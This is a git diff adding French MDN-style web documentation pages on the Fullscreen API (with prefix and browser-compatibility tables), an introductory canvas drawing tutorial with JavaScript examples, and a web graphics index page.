+  &lt;source src="somevideo.webm"&gt;&lt;/source&gt;
+  &lt;source src="somevideo.mp4"&gt;&lt;/source&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Nous pouvons mettre cet élément video en plein écran avec un script de cette façon :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> elem <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myvideo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>elem<span class="punctuation token">.</span>requestFullscreen<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  elem<span class="punctuation token">.</span><span class="function token">requestFullscreen</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Différences_de_présentation">Différences de présentation</h3>
+
+<p>Il est important de savoir qu'il y a une différence clef entre les implémentations de Gecko et WebKit : Gecko ajoute automatiquement des règles CSS à l'élément afin qu'il remplisse l'écran : "<code>width: 100%; height: 100%</code>". WebKit ne fait pas ça ; à la place, il centre l'élément sans le redimensionner au milieu d'un écran noir. Pour obtenir le même comportement que Gecko dans WebKit, vous devez ajouter votre propre règle "<code>width: 100%; height: 100%;</code>" à l'élément :</p>
+
+<pre class="brush: css">#myvideo:-webkit-full-screen  {
+  width: 100%;
+  height: 100%;
+}
+</pre>
+
+<p>Dans l'autre sens, si vous essayez d'émuler le comportement de WebKit sur Gecko, vous devez placer l'élément que vous souhaitez présenter dans un autre élément, que vous mettrez en plein écran, et utiliser des règles CSS pour ajuster l'apparence de l'élément interne.</p>
+
+<h3 id="Notification">Notification</h3>
+
+<p>Quand le mode plein écran est activé, le document qui contient l'élément reçoit un événement de type   {{ event("fullscreenchange") }} . Lors de la sortie du mode plein écran, le document reçoit à nouveau l'événement  {{ event("fullscreenchange") }} . Notez que l'événement  en lui-même {{ event("fullscreenchange") }} ne fournit aucune information si le document est en train d'entrer ou de sortir du mode plein écran, mais si le document a une valeur non nulle {{ domxref("document.fullscreenElement", "fullscreenElement") }} , vous savez que vous êtes en mode plein écran.</p>
+
+<h3 id="Lorsqu'une_demande_de_plein_écran_échoue">Lorsqu'une demande de plein écran échoue</h3>
+
+<p>Il n'est pas garanti que vous soyez capable de passer en mode plein écran. Par exemple, les élements {{ HTMLElement("iframe") }} possèdent l'attribut  {{ HTMLAttrXRef("allowfullscreen", "iframe") }} pour permettre à leur contenu d'être affiché en mode plein écran. Certains contenus comme les greffons fenêtrés ne peuvent être représentés en plein écran. Essayer de placer un élément qui ne peut être affiché en mode plein écran (ou le parent ou le descendant d'un tel élément) ne marchera pas. A la place, l'élément qui a demandé le mode plein écran recevra un événement  <code>mozfullscreenerror</code> . Quand une demande de plein écran échoue, Firefox écrit un message d'erreur dans la console Web expliquant pourquoi la demande n'a pas pu aboutir. <span id="result_box" lang="fr"><span>Dans Chrome et les versions plus récentes d'Opera, aucun avertissement de ce type n'est généré.</span></span></p>
+
+<div class="note">
+<p><strong>Note :</strong> Les requêtes de Fullscreen doivent être appelées depuis un gestionnaire d'évènements ou sinon, elles seront refusées.</p>
+</div>
+
+<h2 id="Sortie_du_mode_plein_écran">Sortie du mode plein écran</h2>
+
+<p>L'utilisateur peut toujours sortir du mode plein écran quand il le désire ; voir {{ anch("Choses que vos utilisateurs doivent savoir") }}. Vous pouvez également le faire en appelant la méthode  {{domxref("Document.exitFullscreen()")}} .</p>
+
+<h2 id="Autres_informations">Autres informations</h2>
+
+<p>Le {{ domxref("document") }} fournit des informations supplémentaires pouvant être utiles lorsque vous développez des applications web en plein écran :</p>
+
+<dl>
+ <dt>{{ domxref("document.fullscreenElement", "fullscreenElement") }}</dt>
+ <dd>L'attribut <code>fullscreenElement</code> vous indique l'{{ domxref("element") }} qui est actuellement affiché en plein écran. S'il est non nul, le document est en mode plein écran. S'il est nul, le document n'est pas en mode plein écran.</dd>
+ <dt>{{ domxref("document.fullscreenEnabled", "fullscreenEnabled") }}</dt>
+ <dd>L'attribut <code>fullscreenEnabled</code> vous indique si le document est actuellement dans un état qui permettrait d'activer le mode plein écran ou non.</dd>
+</dl>
+
+<h2 id="Things_your_users_want_to_know" name="Things_your_users_want_to_know">Choses que vos utilisateurs doivent savoir</h2>
+
+<p>Vous voulez faire savoir à vos utilisateurs qu'il peuvent utiliser la touche <kbd>ECHAP</kbd>  (ou  <kbd>F11</kbd>) pour sortir du mode plein écran.</p>
+
+<p>En même temps, naviguer sur une autre page, changer d'onglet, ou changer d'application (en utilisant, par exemple, <kbd>Alt</kbd>-<kbd>Tab</kbd> ) pendant le mode plein écran, implique la sortie du mode plein écran de toute façon.</p>
+
+<h2 id="Specification" name="Specification">Exemple</h2>
+
+<p>Dans cet exemple, une vidéo est affichée dans une page web. Taper sur l'une des touches  <kbd>Retour</kbd>  ou <kbd>Entrée</kbd>, permet à l'utilisateur de passer d'une présentation dans une fenêtre à une présentation en mode plein écran de la vidéo.</p>
+
+<p><a href="/samples/domref/fullscreen.html">Voir l'exemple sur une page</a></p>
+
+<h3 id="Action_sur_la_touche_Entrée">Action sur la touche <kbd>Entrée</kbd></h3>
+
+<p>Quand la page est chargée, ce code est exécuté pour mettre en place un évènement "listener" permettant de surveiller la moindre action sur la touche  <kbd>Entrée</kbd> .</p>
+
+<pre class="brush: js">document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+</pre>
+
+<h3 id="Passer_en_mode_plein_écran">Passer en mode plein écran</h3>
+
+<p>Ce code est appelé lorsque l'utilisateur appuie sur la touche <kbd>Entrée</kbd>, comme vu plus haut.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">toggleFullScreen</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>document<span class="punctuation token">.</span>fullscreenElement<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      document<span class="punctuation token">.</span>documentElement<span class="punctuation token">.</span><span class="function token">requestFullscreen</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>document<span class="punctuation token">.</span>exitFullscreen<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      document<span class="punctuation token">.</span><span class="function token">exitFullscreen</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p> Dans un premier temps, la valeur de l'attribut <code>fullscreenElement</code> est analysée dans le {{ domxref("document") }} (en contrôlant s'il est préfixé par <code>moz-, ms-</code> ou <code>webkit-</code>). Si la valeur est nulle, le document est actuellement en mode normal, donc nous devons passer en mode plein écran. Le passage en mode plein écran est assuré en appelant {{ domxref("element.requestFullscreen()") }}.</p>
+
+<p>Si le mode plein écran est déjà activé (<code>fullscreenElement</code> est non nul), nous appelons  {{ domxref("document.exitFullscreen()") }}.</p>
+
+<h2 id="Préfixes_2"><a name="Préfixes">Préfixes</a></h2>
+
+<p>Pour le moment, tous les navigateurs n'ont pas implémenté la version sans préfixe de l'API (pour l'accès du fournisseur de l'API, vous pouvez utiliser <a href="https://github.com/rafrex/fscreen">Fscreen</a>) . <span id="result_box" lang="fr"><span>Voici le tableau résumant les préfixes et les différences de noms entre eux </span></span><span lang="fr"><span>:</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Standard</th>
+   <th scope="col">Blink (Chrome &amp; Opera)</th>
+   <th scope="col">Gecko (Firefox)</th>
+   <th scope="col">Internet Explorer 11</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.fullscreen")}}</td>
+   <td><code>webkitIsFullScreen</code></td>
+   <td><code>mozFullScreen</code></td>
+   <td><em>-</em></td>
+   <td><code>webkitIsFullScreen</code></td>
+   <td><code>webkitIsFullScreen</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.fullscreenEnabled")}}</td>
+   <td><code>webkitFullscreenEnabled</code></td>
+   <td><code>mozFullScreenEnabled</code></td>
+   <td><code>msFullscreenEnabled</code></td>
+   <td><code>webkitFullscreenEnabled</code></td>
+   <td><code>webkitFullscreenEnabled</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.fullscreenElement")}}</td>
+   <td><code>webkitFullscreenElement</code></td>
+   <td><code>mozFullScreenElement</code></td>
+   <td><code>msFullscreenElement</code></td>
+   <td><code>webkitFullscreenElement</code></td>
+   <td><code>webkitFullscreenElement</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.onfullscreenchange")}}</td>
+   <td><code>onwebkitfullscreenchange</code></td>
+   <td><code>onmozfullscreenchange</code></td>
+   <td><code>MSFullscreenChange</code></td>
+   <td><code>onwebkitfullscreenchange</code></td>
+   <td><code>onwebkitfullscreenchange</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.onfullscreenerror")}}</td>
+   <td><code>onwebkitfullscreenerror</code></td>
+   <td><code>onmozfullscreenerror</code></td>
+   <td><code>MSFullscreenError</code></td>
+   <td><code>onwebkitfullscreenerror</code></td>
+   <td><code>onwebkitfullscreenerror</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document.exitFullscreen()")}}</td>
+   <td><code>webkitExitFullscreen()</code></td>
+   <td><code>mozCancelFullScreen()</code></td>
+   <td><code>msExitFullscreen()</code></td>
+   <td><code>webkitExitFullscreen()</code></td>
+   <td><code>webkitExitFullscreen()</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element.requestFullscreen()")}}</td>
+   <td><code>webkitRequestFullscreen()</code></td>
+   <td><code>mozRequestFullScreen()</code></td>
+   <td><code>msRequestFullscreen()</code></td>
+   <td><code>webkitRequestFullscreen()</code></td>
+   <td><code>webkitRequestFullscreen()</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="BrowserCompatibility" name="BrowserCompatibility">Compatibilité des navigateurs</h2>
+
+<p><span id="result_box" lang="fr"><span>Tous les navigateurs implémentent cette API.</span> <span>Néanmoins certains l'implémentent avec des préfixes avec des noms légèrement différents</span></span> <span id="result_box" lang="fr"><span>;</span> <span>par exemple, au lieu de <code>requestFullscreen ()</code>, il y a <code>MozRequestFullScreen ()</code>.</span></span></p>
+
+<p>{{ CompatibilityTable() }} </p>
+
+<div id="compat-mobile">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>15 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("9.0") }} {{ property_prefix("-moz") }}<br>
+    {{CompatGeckoDesktop("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>12.10</td>
+   <td>5.0 {{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>fullscreenEnabled</code></td>
+   <td>20 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("10.0") }} {{ property_prefix("-moz") }}<br>
+    {{CompatGeckoDesktop("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>12.10</td>
+   <td>5.1 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>28 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("9.0") }}{{ property_prefix("-moz") }}<br>
+    {{CompatGeckoMobile("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>fullscreenEnabled</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>28 {{ property_prefix("-webkit") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("10.0") }} {{ property_prefix("moz") }}<br>
+    {{CompatGeckoMobile("47")}} (behind <code>full-screen-api.unprefix.enabled</code>)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Using_full_screen_mode">Utiliser le mode plein écran</a></li>
+ <li>{{ domxref("Element.requestFullscreen()") }}</li>
+ <li>{{ domxref("Document.exitFullscreen()") }}</li>
+ <li>{{ domxref("Document.fullscreen") }}</li>
+ <li>{{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{ cssxref(":fullscreen") }}, {{cssxref("::backdrop")}}</li>
+ <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li>
+</ul>
diff --git a/files/fr/web/guide/graphics/dessiner_avec_canvas/index.html b/files/fr/web/guide/graphics/dessiner_avec_canvas/index.html
new file mode 100644
index 0000000000..5799de096f
--- /dev/null
+++ b/files/fr/web/guide/graphics/dessiner_avec_canvas/index.html
@@ -0,0 +1,175 @@
+---
+title: Dessiner avec Canvas
+slug: Web/Guide/Graphics/Dessiner_avec_canvas
+tags:
+  - Canvas
+  - HTML
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<p> </p>
+<h3 id="Introduction" name="Introduction">Introduction</h3>
+<p>Depuis <a href="/fr/Firefox_1.5_pour_les_d%C3%A9veloppeurs" title="fr/Firefox_1.5_pour_les_développeurs">Firefox 1.5</a>, Firefox comprend un nouvel élément HTML servant à dessiner programmatiquement. L'élément {{HTMLElement("canvas")}} est basé sur la <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas">spécification canvas du WHATWG</a>, elle-même basée sur la balise <code>&lt;canvas&gt;</code> d'Apple implémentée dans Safari. Celui-ci peut être utilisé pour afficher des graphes, des élements d'interface, et d'autres éléments graphiques personnalisés sur le client.</p>
+<p>{{HTMLElement("canvas")}} crée une surface de dessin de taille fixe, ou <em>canevas</em>, exposant un ou plusieurs <em>contextes de rendu</em>. Nous nous concentrerons sur le contexte de rendu 2D (c'est d'ailleurs le seul contexte de rendu actuellement défini). Dans le futur, d'autres contextes peuvent fournir différents types de rendu. Par exemple, il est probable qu'un contexte 3D basé sur OpenGL ES sera ajouté à la spécification <code>&lt;canvas&gt;</code>.</p>
+<h3 id="Le_contexte_de_rendu_2D" name="Le_contexte_de_rendu_2D">Le contexte de rendu 2D</h3>
+<h4 id="Un_exemple_simple" name="Un_exemple_simple">Un exemple simple</h4>
+<p>Pour commencer, voici un exemple simple qui dessine deux rectangles ayant une intersection, l'un d'entre-eux possédant une transparence alpha :</p>
+<p><img align="right" alt="Exemple 1." class="internal" src="/@api/deki/files/1337/=Canvas_ex1.png"></p>
+<pre class="eval">&lt;html&gt;
+ &lt;head&gt;
+  &lt;script type="application/x-javascript"&gt;
+function draw() {
+ var canvas = document.getElementById("canvas");
+ var ctx = canvas.getContext("2d");
+
+ ctx.fillStyle = "rgb(200,0,0)";
+ ctx.fillRect (10, 10, 55, 50);
+
+ ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+ ctx.fillRect (30, 30, 55, 50);
+}
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw()"&gt;
+   &lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>La fonction <code>draw</code> récupère l'élément <code>canvas</code>, et ensuite son contexte <code>2d</code>. L'objet <code>ctx</code> peut ensuite être utilisé pour dessiner réellement vers le canevas. L'exemple remplit simplement les deux rectangles, en positionnant <code>fillStyle</code> à deux couleurs différentes à l'aide des spécifications de couleur CSS et d'un appel à <code>fillRect</code>. Le second appel à <code>fillStyle</code> utilise <code>rgba()</code> pour spécifier une valeur alpha parmi les informations de couleur.</p>
+<p>Les appels à <code>fillRect</code>, <code>strokeRect</code> et <code>clearRect</code> affichent un rectangle plein, surligné ou vide. Pour afficher des formes plus complexes, on utilise des chemins.</p>
+<h4 id="Utilisation_de_chemins" name="Utilisation_de_chemins">Utilisation de chemins</h4>
+<p>La fonction <code>beginPath</code> commence un nouveau chemin, et <code>moveTo</code>, <code>lineTo</code>, <code>arcTo</code>, <code>arc</code> et des méthodes similaires sont utilisées pour ajouter des segments au chemin. Le chemin peut être fermé à l'aide de <code>closePath</code>. Une fois que le chemin est créé, vous pouvez utiliser <code>fill</code> ou <code>stroke</code> pour afficher celui-ci sur le canevas.</p>
+<p><img align="right" alt="Exemple 2." class="internal" src="/@api/deki/files/1338/=Canvas_ex2.png"></p>
+<pre class="eval">&lt;html&gt;
+ &lt;head&gt;
+  &lt;script type="application/x-javascript"&gt;
+function draw() {
+  var canvas = document.getElementById("canvas");
+  var ctx = canvas.getContext("2d");
+
+  ctx.fillStyle = "red";
+
+  ctx.beginPath();
+  ctx.moveTo(30, 30);
+  ctx.lineTo(150, 150);
+  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150);
+  ctx.lineTo(30, 30);
+  ctx.fill();
+}
+   &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw()"&gt;
+   &lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>L'appel à <code>fill()</code> ou <code>stroke()</code> provoque l'utilisation du chemin. Pour être rempli ou dessiné à nouveau, le chemin devra être recréé.</p>
+<h4 id=".C3.89tat_graphique" name=".C3.89tat_graphique">État graphique</h4>
+<p>Les attributs du contexte comme <code>fillStyle</code>, <code>strokeStyle</code>, <code>lineWidth</code> et <code>lineJoin</code> font partie de l'<em>état graphique</em> courant. Le contexte fournit deux méthodes, <code>save()</code> et <code>restore()</code>, qui peuvent être utilisées pour déplacer l'état courant vers et depuis la pile d'états.</p>
+<h4 id="Un_exemple_plus_compliqu.C3.A9" name="Un_exemple_plus_compliqu.C3.A9">Un exemple plus compliqué</h4>
+<p>Voici un exemple un petit peu plus compliqué, qui utilise des chemins, des états et introduit également la matrice de transformation courante. Les méthodes du contexte <code>translate()</code>, <code>scale()</code> et <code>rotate()</code> transforment toutes la matrice courante. Tous les points affichés sont au préalable transformés par cette matrice.</p>
+<p><img align="right" alt="Exemple 3." class="internal" src="/@api/deki/files/1339/=Canvas_ex3.png"></p>
+<pre> &lt;html&gt;
+  &lt;head&gt;
+   &lt;script type="application/x-javascript"&gt;
+ function dessineNoeudPap(ctx, fillStyle) {
+
+   ctx.fillStyle = "rgba(200,200,200,0.3)";
+   ctx.fillRect(-30, -30, 60, 60);
+
+   ctx.fillStyle = fillStyle;
+   ctx.globalAlpha = 1.0;
+   ctx.beginPath();
+   ctx.moveTo(25, 25);
+   ctx.lineTo(-25, -25);
+   ctx.lineTo(25, -25);
+   ctx.lineTo(-25, 25);
+   ctx.closePath();
+   ctx.fill();
+ }
+
+ function point(ctx) {
+   ctx.save();
+   ctx.fillStyle = "black";
+   ctx.fillRect(-2, -2, 4, 4);
+   ctx.restore();
+ }
+
+ function dessine() {
+   var canvas = document.getElementById("canvas");
+   var ctx = canvas.getContext("2d");
+
+   // notez que toutes les autres translations sont relatives à
+   // celle-ci
+   ctx.translate(45, 45);
+
+   ctx.save();
+   //ctx.translate(0, 0); // non nécessaire
+   dessineNoeudPap(ctx, "red");
+   point(ctx);
+   ctx.restore();
+
+   ctx.save();
+   ctx.translate(85, 0);
+   ctx.rotate(45 * Math.PI / 180);
+   dessineNoeudPap(ctx, "green");
+   point(ctx);
+   ctx.restore();
+
+   ctx.save();
+   ctx.translate(0, 85);
+   ctx.rotate(135 * Math.PI / 180);
+   dessineNoeudPap(ctx, "blue");
+   point(ctx);
+   ctx.restore();
+
+   ctx.save();
+   ctx.translate(85, 85);
+   ctx.rotate(90 * Math.PI / 180);
+   dessineNoeudPap(ctx, "yellow");
+   point(ctx);
+   ctx.restore();
+ }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body onload="dessine()"&gt;
+    &lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+  &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+<p>Ceci définit deux méthodes <code>dessineNoeudPap</code> et <code>point</code>, qui sont appelées 4 fois. Avant chaque appel, <code>translate()</code> et <code>rotate()</code> sont utilisées pour définir la matrice de transformation courante, qui à son tour positionne le point et le nœud papillon. <code>point</code> affiche un petit carré noir centré sur <code>(0, 0)</code>. Ce point est déplacé par la matrice de transformation. <code>dessineNoeudPap</code> affiche un chemin simple en forme de nœud papillon en utilisant le style de remplissage fourni en paramètre.</p>
+<p>Comme les opérations de matrices sont cumulatives, <code>save()</code> et <code>restore()</code> sont utilisées autour de chaque jeu d'appels afin de restaurer l'état initial du canevas. Une chose à surveiller est que la rotation se passe toujours autour de l'origine courante ; donc une séquence <code>translate() rotate() translate()</code> donnera des résultats différents d'une série d'appels <code>translate() translate() rotate()</code>.</p>
+<h3 id="Compatibilit.C3.A9_avec_le_.3Ccanvas.3E_d.27Apple" name="Compatibilit.C3.A9_avec_le_.3Ccanvas.3E_d.27Apple">Compatibilité avec le &lt;canvas&gt; d'Apple</h3>
+<p>Pour la plus grande partie, le <code>&lt;canvas&gt;</code> de Mozilla est compatible avec celui d'Apple et d'autres implémentations. Il convient cependant d'être averti de quelques problèmes, décrits ci-dessous.</p>
+<h4 id="Balise_.3C.2Fcanvas.3E_requise" name="Balise_.3C.2Fcanvas.3E_requise">Balise <code>&lt;/canvas&gt;</code> requise</h4>
+<p>Dans l'implémentation d'Apple Safari, <code>&lt;canvas&gt;</code> est un élément fortement semblable à l'élément <code>&lt;img&gt;</code> ; il ne doit pas forcément avoir de balise de fermeture. Cependant, pour que <code>&lt;canvas&gt;</code> puisse être utilisé à grande échelle sur le Web, il est important de pouvoir fournir facilement du contenu alternatif. C'est pourquoi l'implémentation de Mozilla a une balise de fin <em>requise</em>.</p>
+<p>Si aucun contenu alternatif n'est nécessaire, un simple <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code> sera entièrement compatible avec Safari et Mozilla -- Safari ignorera simplement la balise de fermeture.</p>
+<p>Si un contenu alternatif est désiré, certaines astuces CSS doivent être utilisées pour masquer le contenu alternatif à Safari (qui doit seulement afficher le canevas), et masquer ces mêmes astuces à Internet Explorer (qui doit afficher le contenu alternatif). <strong>À faire : les commandes CSS exactes doivent être fournies par hixie.</strong></p>
+<h3 id="Fonctionnalit.C3.A9s_suppl.C3.A9mentaires" name="Fonctionnalit.C3.A9s_suppl.C3.A9mentaires">Fonctionnalités supplémentaires</h3>
+<h4 id="Affichage_de_contenu_Web_dans_un_canevas" name="Affichage_de_contenu_Web_dans_un_canevas">Affichage de contenu Web dans un canevas</h4>
+<div class="note">
+ Cette fonctionnalité est uniquement disponible pour le code exécuté avec des privilèges Chrome. Son utilisation n'est pas permise dans des pages HTML normales.</div>
+<p>L'élément <code>canvas</code> de Mozilla a été étendu avec la méthode <code>drawWindow</code>. Celle-ci dessine une capture du contenu d'un élément DOM <code>window</code> dans le canevas. Par exemple,</p>
+<pre class="eval">ctx.drawWindow(window, 0, 0, 100, 200, "rgb(0,0,0)");
+</pre>
+<p>affichera le contenu de la fenêtre courante dans le rectangle (0,0,100,200) défini en pixels relatifs au coin en haut à gauche de la fenêtre d'affichage, sur un fond noir, dans le canevas. En spécifiant "rgba(0,0,0,0)" comme couleur, le contenu sera dessiné avec un fond transparent (ce qui sera plus lent).</p>
+<p>Avec cette méthode, il est possible de remplir un IFRAME caché avec du contenu arbitraire (par exemple, du texte HTML stylé avec CSS, ou du SVG) et de le dessiner dans un canevas. Celui-ci sera redimensionné, tourné, etc. suivant la transformation courante.</p>
+<p>L'extension <a class="external" href="http://ted.mielczarek.org/code/mozilla/tabpreview/">tab preview</a> de Ted Mielczarek utilise cette technique dans le chrome pour fournir des miniatures de pages Web, et sa source est disponible pour référence.</p>
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+<ul>
+ <li><a href="/fr/HTML/Canvas" title="fr/HTML/Canvas">Page du sujet canvas</a></li>
+ <li><a href="/fr/Tutoriel_canvas" title="fr/Tutoriel_canvas">Tutoriel canvas</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas">Spécification du WHATWG</a></li>
+ <li><a class="external" href="http://developer.apple.com/documentation/AppleApplications/Reference/SafariJSRef/Classes/Canvas.html">La documentation d'Apple sur Canvas</a></li>
+ <li><a class="external" href="http://weblogs.mozillazine.org/roc/archives/2005/05/rendering_web_p.html">Affichage de miniatures de pages Web</a></li>
+ <li>Quelques <a href="/Special:Tags?tag=Exemples_d'utilisation_de_canvas&amp;language=fr" title="Special:Tags?tag=Exemples_d'utilisation_de_canvas&amp;language=fr">exemples</a> :
+  <ul>
+   <li><a class="external" href="http://www.tapper-ware.net/canvas3d/">Rendu 3D du format OBJ</a></li>
+   <li><a href="/fr/Un_raycaster_basique" title="fr/Un_raycaster_basique">Un raycaster basique</a></li>
+   <li><a class="external" href="http://awordlike.com/">The Lightweight Visual Thesaurus</a></li>
+   <li><a class="external" href="http://www.abrahamjoffe.com.au/ben/canvascape/">Exemple impressionnant d'utilisation de canvas</a></li>
+   <li><a class="external" href="http://caimansys.com/painter/">Canvas Painter</a></li>
+  </ul>
+ </li>
+ <li><a href="/Special:Tags?tag=HTML:Canvas&amp;language=fr" title="Special:Tags?tag=HTML:Canvas&amp;language=fr">Et plus…</a></li>
+</ul>
+<p>{{ languages( { "en": "en/Drawing_Graphics_with_Canvas", "ja": "ja/Drawing_Graphics_with_Canvas", "ko": "ko/Drawing_Graphics_with_Canvas", "pl": "pl/Rysowanie_grafik_za_pomoc\u0105_Canvas" } ) }}</p>
diff --git a/files/fr/web/guide/graphics/index.html b/files/fr/web/guide/graphics/index.html
new file mode 100644
index 0000000000..1581a199c1
--- /dev/null
+++ b/files/fr/web/guide/graphics/index.html
@@ -0,0 +1,51 @@
+---
+title: Graphismes sur le Web
+slug: Web/Guide/Graphics
+tags:
+  - 2D
+  - 3D
+  - Canvas
+  - Graphismes
+  - HTML
+  - SVG
+  - Web
+  - WebGL
+  - WebRTC
+translation_of: Web/Guide/Graphics
+---
+<p>Les applications et sites Web modernes ont souvent besoin de présenter des graphismes de qualité. Tandis qu'afficher de simples images statiques peut être aisément réalisé à l'aide de la balise <a href="/fr/docs/Web/HTML/Element/img"><code>&lt;img&gt;</code></a>, ou en réglant l'arrière-plan des éléments HTML avec la propriété CSS : <a href="/fr/docs/Web/CSS/background-image">background-image</a>.</p>
+
+<p>Mais lorsque l'on veut réaliser des graphismes à la volée, ou manipuler des images après coup, ou encore utiliser de la 3D, les méthodes habituelles ne suffisent plus, cependant avec HTML5, il est possible de réaliser ce type de graphismes plus évolués.</p>
+
+<p>Les articles ci-dessous vous permettront de vous familiariser avec ces technologies.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Graphismes 2D</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Guide/Graphics/Dessiner_avec_canvas">Dessiner avec les canvas</a></dt>
+ <dd>Un guide d'introduction pour utiliser l'élément pour dessiner en 2D.</dd>
+ <dt><a href="/fr/docs/SVG">SVG</a></dt>
+ <dd>Scalable Vector Graphics (SVG) vous permet d'utiliser des lignes, courbes et  d'autres figures géométriques pour dessiner. Les images SVG n'étant pas des images matricielles, elles permettent de faire des images redimensionnables sans limite.<span class="alllinks"><a href="/fr/docs/tag/Graphics">Tout lire...</a></span></dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Graphismes 3D</h2>
+
+<dl>
+ <dt><a href="/fr/docs/WebGL">WebGL</a></dt>
+ <dd>Un guide pour débuter avec WebGL l'API  graphique 3D, pour le Web. Cette technologie vous permettra d'utiliser le standard OpenGL ES pour du contenu Web.</dd>
+</dl>
+</div>
+</div>
